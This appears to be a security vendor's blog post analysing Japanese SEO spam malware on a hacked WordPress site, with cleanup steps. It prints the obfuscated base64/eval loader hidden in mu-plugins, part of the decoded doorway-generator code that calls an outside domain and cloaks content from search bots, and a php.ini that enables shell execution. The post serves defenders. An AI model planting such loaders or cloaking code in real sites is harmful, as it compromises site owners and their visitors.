Malware example: Japanese SEO spam

Let’s take a look at a recent example of some Japanese SEO spam on an infected website.

To evade detection, spammers had constructed their malware so that it was only visible to Google’s UA. It was hidden on a file inside the ./wp-content/mu-plugins directory.

There were two files, one which was loading and executing malicious code from the second file named wp-content/mu-plugins/.tott.log

Here are the contents of the file loading the malware:

```php
<?php
$f_get = 'fil' . 'e_g' . 'et_' . 'con' . 'ten' . 'ts';
 $bs_dec = 'bas' . 'e6' . '4_de' . 'code';
 $idx_path = $_SERVER['DOCUME' . 'NT_ROOT'] . '/wp-co'.'ntent/mu-p'.'lugins/.t'.'ott.log';

eval($bs_dec($f_get($idx_path)));
```

The .tott.log file was encoded using Base64. Here’s the semi-decoded version:

```php
<?php
@set_time_limit(3600);
@ignore_user_abort(1);
$lnZPZa = "r68";
$lnZPZJ = "http";
if (is_htps()) {
    goto lRYJPaa;
}
$lnZPZP = "http";
goto lRYJPaJ;
lRYJPaa: $lnZPZP = "https";
lRYJPaJ: $lnZPZw = st_uri();
if (!($lnZPZw == '')) {
    goto lRYJPaP;
}
$lnZPZw = "/";
lRYJPaP: $lnZPZZ = urlencode($lnZPZw);

function st_uri() {
    goto lRYJPaR;
    lRYJPJJ: lRYJPaF: goto lRYJPJP;
    lRYJPJP: return $lnZPZZ;
    goto lRYJPJw;
    lRYJPan: lRYJPai: goto lRYJPJa;
    lRYJPaR: if (isset($_SERVER["REQUEST_URI"])) {
        goto lRYJPai;
    } goto lRYJPaG;
    lRYJPaB: goto lRYJPaF;
    goto lRYJPan;
    lRYJPaG: if (isset($_SERVER["argv"])) {
        goto lRYJPaw;
    } goto lRYJPaO;
    lRYJPaQ: lRYJPaZ: goto lRYJPaB;
    lRYJPaH: lRYJPaw: goto lRYJPaE;
    lRYJPaO: $lnZPZZ = $_SERVER["PHP_SELF"].
    "?".$_SERVER["QUERY_STRING"];
    goto lRYJPaY;
    lRYJPaY: goto lRYJPaZ;
    goto lRYJPaH;
    lRYJPJa: $lnZPZZ = $_SERVER["REQUEST_URI"];
    goto lRYJPJJ;
    lRYJPaE: $lnZPZZ = $_SERVER["PHP_SELF"].
    "?".$_SERVER["argv"][0];
    goto lRYJPaQ;
    lRYJPJw:
}
$lnZPZi = $lnZPZa.
".pollutionioften.xyz";

function is_htps() {
    goto lRYJPJG;
    lRYJPPJ: goto lRYJPJZ;
    goto lRYJPPP;
```

Inspecting the source-code of the infected site clearly shows Japanese SEO spam keywords and content:

```
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8"/>
<meta content="width=device-width, initial-scale=1.0, maximu
<title>【正規販売店】 レディース ノースフェイス 古着 ハイベント ブルー
<meta content="text/html;charset=utf-8" http-equiv="Content-
<script type="application/ld+json">
    {
      "@context": "https://schema.org",
      "@type": "NewsArticle",
      "mainEntityOfPage": {
        "@type": "WebPage",
        "@id": "https://[redacted]/?d
      },
      "headline": "【正規販売店】 レディース ノースフェイス 古着 ハ
      "image": [
        "https://static.mercdn.net/item/detail/orig/photos/m
       ],
      "datePublished": "2023-08-28T19:06",
      "dateModified": "2023-09-01T00:22",
      "author": {
        "@type": "Person",
        "name": "[redacted]"
      },
       "publisher": {
        "@type": "Organization",
        "name": "[redacted]",
        "url": "https://[redacted]/?d
      }
    }
</script><meta itemprop="dateUpdate" content="2023-09-01 20:
title="[redacted] RSS" />
<meta content="【正規販売店】 レディース ノースフェイス 古着 ハイベン
<meta content="index,follow,all" name="robots"/>
<meta content="black" name="apple-mobile-web-app-status-bar-
<meta content="yes" name="apple-mobile-web-app-capable"/>
<meta content="telephone=no" name="format-detection"/>
<link href="https://[redacted]?d0987
<link href="https://[redacted]/?d0987
<meta content="website" property="og:type"/>
<meta content="ja_JP" property="og:locale">
```

A closer inspection of the spammers' malicious code reveals how they target Google, Yahoo, and Bing bots for search engine spamming:

```
function sbot() {
    goto lRYJPZE;
    lRYJPZB: return false;
    goto lRYJPZn;
    lRYJPiP: lRYJPZH: goto lRYJPiw;
    lRYJPZE: $lnZPiH = strtolower($_SERVER["HTTP_USER_AGENT"]);
    goto lRYJPZQ;
    lRYJPZQ: if (stristr($lnZPiH, "googlebot") || stristr($lnZPiH, "bing") || stristr
($lnZPiH, "yahoo") || stristr($lnZPiH, "google") || stristr($lnZPiH, "Googlebot") ||
stristr($lnZPiH, "googlebot")) {
        goto lRYJPZY;
    } goto lRYJPZB;
    lRYJPZn: goto lRYJPZH;
    goto lRYJPia;
    lRYJPia: lRYJPZY: goto lRYJPiJ;
    lRYJPiJ: return true;
    goto lRYJPiP;
    lRYJPiw:
}
```

Overall, this particular malware infection works as a doorway generator that retrieves contents from subdomains of pollutionioften[.]xyz, creating thousands of spam pages and sitemaps to help search engines quickly find and index their spammy content.

Steps to clean up Japanese SEO spam on an infected website

Before we start with the SEO spam clean up steps, it is highly recommended to take complete backup of the current website in zipped or compressed format. In the event anything goes wrong, you can always restore the current version.

Follow these steps to clean up and remove Japanese SEO spam on a hacked website.

Step 1: Remove any newly created user accounts from Google Search Console

To begin, you'll want to check for any newly created users in your Search Console property:

1. Navigate to your Google Search Console account, and select the property (domain).

2. Go to the "Users and Properties Owners" tab to find a list of users that have admin access to your website.

If any of the listed users is not recognizable or appears suspicious, immediately remove them and revoke their access.

Step 2: Run a malware scan and remove suspicious code

Next, you'll want to perform a thorough scan of your website files and directories to identify any indicators of compromise. If your website scanner identifies any suspicious or malicious code, you'll need to replace the files or remove them entirely.

You'll also want to scan and remove any spam posts or content from your database and check your posts, pages and comments on the admin dashboard. If you need a hand, our highly skilled analysts can help scan your website for Japanese SEO spam and clean up the website malware.

Step 3: Check for any malicious code in your configuration files

Sometimes, hackers use configuration files like .htaccess, php.ini, and wp-config.php to redirect your website to malicious websites. You'll want to check these files for any indicators of tampering.

For example, our teams frequently find the following php.ini file on compromised web servers.

```
safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON
```

These directives help an attacker disable important security features that protect the server from malicious behavior. These directives only give attackers advantages on older server configurations, but if you find them on your website it may be a big red flag that your site has been hacked and you might have other malware may be present on your website.

Step 4: Update database user credentials for wp-config.php file

It’s always a good practice to reset your database user credentials in your wp-config.php file after your website has been infected.

Be sure to create strong unique passwords for all of your accounts to help prevent brute force attacks. You can also add security rules to harden your website against attack.

Step 5: Replace WordPress core files

Core WordPress files are essential; they are the components that make up the basic framework of the WordPress CMS. Your core files are responsible for the functionality of the website. Replacing your core files can overwrite any leftover malware hidden in those WordPress directories.

Step 6: Remove unused plugins and themes and patch all software

Software patches often contain important security updates that fix known vulnerabilities and security holes. To mitigate risk, always keep all of your website software (including plugins and themes) patched with the latest updates.

You should also remove any unused plugins, themes, or other third-party components to reduce the attack surface on your website.

Step 7: Check your wp-content/uploads directory

Your website’s uploads directory should not contain any extensions like .php, .js, or .ico.
If you find any suspicious looking file extensions, emove any such files or if you find any content like base64_decode, eval, str_rot13, gzinflate, etc.

Step 8: Configure and install a website application firewall

A good website firewall helps to filter malicious traffic to your website, monitor for indicators of compromise, and also helps to virtually patch known vulnerabiltiies. You can leverage firewall features to restrict access to specific IP ranges and harden your website as well.

Step 9: Check your sitemap for sketchy links

Your sitemap is an important file that provides search engines with a structured map of your website, including files, pages, and videos. Sitemaps enhance a website’s visibility and improve SEO by making crawling more efficient for search engines.

As a next step, you'll want to review your sitemap to check if there are any suspicious or malicious links that have been added to the file. If you find any unexpected URLs, remove them.

Step 10: Set up automated backups

You'll want to take regular website backups, including snapshots of your files, pages, and database. This way you'll have a safe copy of your site that you can easily restore to in the event of another attack or unexpected disaster.

For more step-by-step instructions, you can check out our free hacked WordPress guide. If you need help removing malware on a website, our skilled security analysts are available 24/7 to lend a hand!